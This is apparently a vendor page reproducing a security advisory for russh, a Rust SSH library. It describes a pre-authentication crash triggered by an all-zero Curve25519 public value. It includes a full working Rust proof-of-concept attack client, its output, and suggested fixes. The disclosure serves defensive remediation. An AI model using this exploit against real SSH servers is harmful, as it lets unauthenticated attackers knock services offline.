GHSA-5XVQ-CP9X-6P6R

GHSA-5XVQ-CP9X-6P6R is a medium-severity security vulnerability in russh (rust), affecting versions <= 0.62.3. It is fixed in 0.62.4.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)

A pre-authentication denial-of-service panic in russh 0.62.2 (commit
c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as
of 2026-07-22). An unauthenticated client sends a single SSH_MSG_KEX_ECDH_INIT
whose Q_C is 32 zero bytes. russh's Curve25519 KEX does not reject the
all-zero peer public value, so server_dh() computes the all-zero shared
secret and compute_exchange_hash() then calls encode_mpint(&shared.0, ...),
which indexes s[i] at i == s.len() and panics (index out of bounds: the len is 32 but the index is 32) before host-key signature verification.
The server KEX task dies on the first KEX message, before authentication.

This is reachable with the default server configuration
(Config::default()Preferred::DEFAULT, whose kex list includes
curve25519-sha256) and requires no caller-supplied parameter. It is
reproduced end-to-end against the unmodified real russh 0.62.2 library (a real
server + raw TCP client over TCP); the PoC below links the real crate, not a
copied snippet. The defect is still present on main HEAD (v0.62.3,
2026-07-22) and is not covered by any of the 11 published russh GHSA advisories
(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not
Curve25519).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE);
the impact is remote denial of service.

Details

russh/src/kex/curve25519.rs, server_dh() (server path; attacker = client):

fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> {
    // only the 32-byte length is checked, NOT zero / low-order:
    let mut pubkey = MontgomeryPoint([0; 32]);
    pubkey.0.clone_from_slice(&payload[5..5 + 32]);      // line 73
    ...
    let shared = server_secret * client_pubkey;           // all-zero when client_pubkey == [0;32]
    self.shared_secret = Some(shared);                    // line 86
    Ok(())
}

The server then computes the exchange hash before verifying the host-key
signature (russh/src/server/kex.rs):

kex.server_dh(exchange, &input.buffer)?;                    // line 247
...
let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?;  // line 274, panics

compute_exchange_hash() calls encode_mpint(&shared.0, buffer), whose
leading-zero skip loop advances i to s.len() and then indexes s[i]
(russh/src/kex/mod.rs):

pub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> {
    let mut i = 0;
    while i < s.len() && s[i] == 0 { i += 1 }   // i advances to s.len() for all-zero input
    if s[i] & 0x80 != 0 {                        // line 482, index out of bounds: s[s.len()]
        ...

On Curve25519, scalar * MontgomeryPoint([0;32]) yields MontgomeryPoint([0;32])
(the identity element), so the all-zero shared secret is attacker-controlled.
RFC 7748 §6 requires implementations to detect and reject all-zero / low-order
peer public values and shared secrets; russh does not. The client path
(compute_shared_secret, curve25519.rs:110-142) has the same chain but is
reached only after the server host-key signature is verified, so it requires a
malicious server that can sign its own host key (same root cause, lower
severity).

PoC

The PoC is a standalone examples/ binary that links the unmodified real
russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK
case (all-zero Q_C → panic) and a CONTROL case (random Q_C → completes kex),
proving the panic is caused specifically by the all-zero value.

One-line reproducer

# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_t13_zero_curve25519
RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519

russh/examples/e2e_t13_zero_curve25519.rs

// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics
// russh's SSH exchange-hash computation.
//
// A real `russh::server` with `Config::default()` (curve25519-sha256 in the
// default kex list) + a real Ed25519 host key is started on a TCP listener.
// A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering
// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -> compute_exchange_hash ->
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;

use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};

const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30;  // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;

#[tokio::main]
async fn main() {
    println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n");

    let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await;
    println!();
    let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await;

    println!("\n=== summary ===");
    println!("case    | server panicked | got ECDH_REPLY");
    println!("ATTACK  | {atk_panic:<15} | {atk_reply}   (Q_C = all-zero)");
    println!("CONTROL | {ctl_panic:<15} | {ctl_reply}   (Q_C = random non-zero)");

    if atk_panic && !atk_reply && !ctl_panic && ctl_reply {
        println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
        println!("   A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the");
        println!("   all-zero Curve25519 point makes the real russh server panic");
        println!("   inside encode_mpint (index out of bounds: len 32, index 32)");
        println!("   during compute_exchange_hash, BEFORE host-key verification.");
    } else {
        eprintln!("NOT reproduced");
        std::process::exit(1);
    }
}

enum QcKind { AllZero, Random }

async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!("[{label} server task panicked] {info}");
            prev(info);
        }));
    }

    // real russh server, DEFAULT config (curve25519-sha256 in the kex list)
    // + real Ed25519 host key.
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(
        russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
    );
    let config = Arc::new(config);

    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let addr = listener.local_addr().unwrap();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
        session.await
    });

    // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)
    let mut s = TcpStream::connect(addr).await.unwrap();
    s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap();
    s.flush().await.unwrap();
    let _server_id = read_ssh_id(&mut s).await.unwrap();
    let _server_kexinit = read_packet(&mut s).await.unwrap();
    s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();
    s.flush().await.unwrap();

    let q_c: [u8; 32] = match qc {
        QcKind::AllZero => [0u8; 32],
        QcKind::Random => {
            let mut b: [u8; 32] = rand::random();
            if b.iter().all(|&x| x == 0) { b[0] = 1; }
            b
        }
    };
    let mut ecdh_init = Vec::new();
    ecdh_init.push(MSG_KEX_ECDH_INIT);
    encode_string(&mut ecdh_init, &q_c);
    s.write_all(&ssh_packet(&ecdh_init)).await.unwrap();
    s.flush().await.unwrap();
    let qdesc = match qc { QcKind::AllZero => "all-zero", QcKind::Random => "random" };
    println!("[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})");

    let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await {
        Ok(Ok(pkt)) => {
            let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY);
            println!("[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})", pkt.first());
            is_reply
        }
        _ => { println!("[{label}] read failed / connection closed (no ECDH_REPLY)"); false }
    };

    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
    let server_panicked = panicked.load(Ordering::SeqCst);
    println!("[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}");
    let _ = std::panic::take_hook();
    (server_panicked, got_reply)
}

#[derive(Clone)]
struct NoopHandler;
impl Handler for NoopHandler { type Error = russh::Error; }

fn kexinit_payload_curve25519() -> Vec<u8> {
    let mut p = Vec::new();
    p.push(MSG_KEXINIT);
    p.extend_from_slice(&[0u8; 16]); // cookie
    encode_name_list(&mut p, &["curve25519-sha256"]);          // kex
    encode_name_list(&mut p, &["ssh-ed25519"]);                // host key
    encode_name_list(&mut p, &["[email protected]"]); // c2s cipher
    encode_name_list(&mut p, &["[email protected]"]); // s2c cipher
    encode_name_list(&mut p, &["hmac-sha2-256"]);              // c2s mac
    encode_name_list(&mut p, &["hmac-sha2-256"]);              // s2c mac
    encode_name_list(&mut p, &["none"]);                      // c2s compression
    encode_name_list(&mut p, &["none"]);                      // s2c compression
    encode_name_list(&mut p, &[]);                            // c2s languages
    encode_name_list(&mut p, &[]);                            // s2c languages
    p.push(0);                                                // first_kex_packet_follows = false
    push_u32(&mut p, 0);                                      // reserved
    p
}

fn ssh_packet(payload: &[u8]) -> Vec<u8> {
    let mut padding_len = 8 - ((5 + payload.len()) % 8);
    if padding_len < 4 { padding_len += 8; }
    let packet_len = 1 + payload.len() + padding_len;
    let mut packet = Vec::with_capacity(4 + packet_len);
    push_u32(&mut packet, packet_len as u32);
    packet.push(padding_len as u8);
    packet.extend_from_slice(payload);
    packet.resize(packet.len() + padding_len, 0);
    packet
}

async fn read_packet(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
    let mut len_buf = [0u8; 4];
    stream.read_exact(&mut len_buf).await?;
    let packet_len = BigEndian::read_u32(&len_buf) as usize;
    let mut packet = vec![0u8; packet_len];
    stream.read_exact(&mut packet).await?;
    let padding_len = packet[0] as usize;
    Ok(packet[1..packet.len() - padding_len].to_vec())
}

async fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
    let mut id = Vec::new();
    loop {
        let mut byte = [0u8; 1];
        stream.read_exact(&mut byte).await?;
        id.push(byte[0]);
        if byte[0] == b'\n' { return Ok(id); }
    }
}

fn encode_name_list(buf: &mut Vec<u8>, names: &[&str]) { encode_string(buf, names.join(",").as_bytes()); }
fn encode_string(buf: &mut Vec<u8>, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }
fn push_u32(buf: &mut Vec<u8>, value: u32) {
    let mut bytes = [0u8; 4];
    BigEndian::write_u32(&mut bytes, value);
    buf.extend_from_slice(&bytes);
}

Real captured output (ATTACK, RUST_BACKTRACE=1):

[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)
[ATTACK  server task panicked] panicked at russh/src/kex/mod.rs:482:8:
index out of bounds: the len is 32 but the index is 32
thread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8
stack backtrace:
   3: russh::kex::encode_mpint::<CryptoVec>
   4: <Curve25519Kex as KexAlgorithmImplementor>::compute_exchange_hash
   5: <ServerKex>::step ... server::reply ... Session::run
[ATTACK ] server task panicked = true, got ECDH_REPLY = false
[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)
[CONTROL] server task panicked = false, got ECDH_REPLY = true
=> CONFIRMED (end-to-end, real russh 0.62.2)

The backtrace confirms the real in-library call path on a tokio worker,
pre-authentication, before any host-key signature verification.

CVSS

  • AV:N, reachable from a remote SSH peer
  • AC:L, requires only a 32-byte all-zero Q_C
  • PR:N, pre-authentication
  • UI:N, no user interaction
  • C:N, I:N, no confidentiality or integrity impact demonstrated
  • A:H, remote unauthenticated crash of the server KEX task

Suggested fixes

Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in
server_dh() / compute_shared_secret():

if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

and harden encode_mpint against the all-zero input:

if i == s.len() {
    return 0u32.encode(w);   // all-zero mpint = empty string per RFC 4251 §5
}

Affected versions

  • russh <= 0.62.3 (commit c4be19f1915c / current main HEAD
    v0.62.3, 2026-07-22). The bug is still present on main; it is not covered
    by any of the 11 published russh GHSA advisories. Default server::Config
    and client::Config are affected (no feature flag or opt-in).

Credit

Independently reported by Zhaodl1 and the diff/ambidiff security research effort (afldl).

Impact

Remote, pre-authentication denial of service of any russh SSH server using
the default configuration.
A single 37-byte SSH_MSG_KEX_ECDH_INIT (0x1e

  • 0x00000020 + 32 zero bytes) from an unauthenticated client crashes the
    server's KEX task before authentication. Because the panic is in an async russh
    task it aborts that connection's handler; depending on the embedder's panic
    containment it can also tear down the server if the panic is not contained
    per-connection.

A malicious SSH server can symmetrically crash a russh client after
host-key verification by sending an all-zero Q_S in
SSH_MSG_KEX_ECDH_REPLY (same root cause, lower severity, requires the
server to control its own signed host key).

No confidentiality/integrity break is demonstrated. The all-zero shared secret
would itself be a catastrophic key-compromise if russh did not already crash,
but the observed impact is the crash.

GHSA-5XVQ-CP9X-6P6R has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.62.4); upgrading removes the vulnerable code path.

Affected versions

russh (<= 0.62.3)

Security releases

russh → 0.62.4 (rust)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade russh to 0.62.4 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-5XVQ-CP9X-6P6R? GHSA-5XVQ-CP9X-6P6R is a medium-severity security vulnerability in russh (rust), affecting versions <= 0.62.3. It is fixed in 0.62.4.
  2. How severe is GHSA-5XVQ-CP9X-6P6R? GHSA-5XVQ-CP9X-6P6R has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of russh are affected by GHSA-5XVQ-CP9X-6P6R? russh (rust) versions <= 0.62.3 is affected.
  4. Is there a fix for GHSA-5XVQ-CP9X-6P6R? Yes. GHSA-5XVQ-CP9X-6P6R is fixed in 0.62.4. Upgrade to this version or later.
  5. Is GHSA-5XVQ-CP9X-6P6R exploitable, and should I be worried? Whether GHSA-5XVQ-CP9X-6P6R is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-5XVQ-CP9X-6P6R is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-5XVQ-CP9X-6P6R? Upgrade russh to 0.62.4 or later.

Other vulnerabilities in russh

Stop the waste.
Protect your environment with Kodem.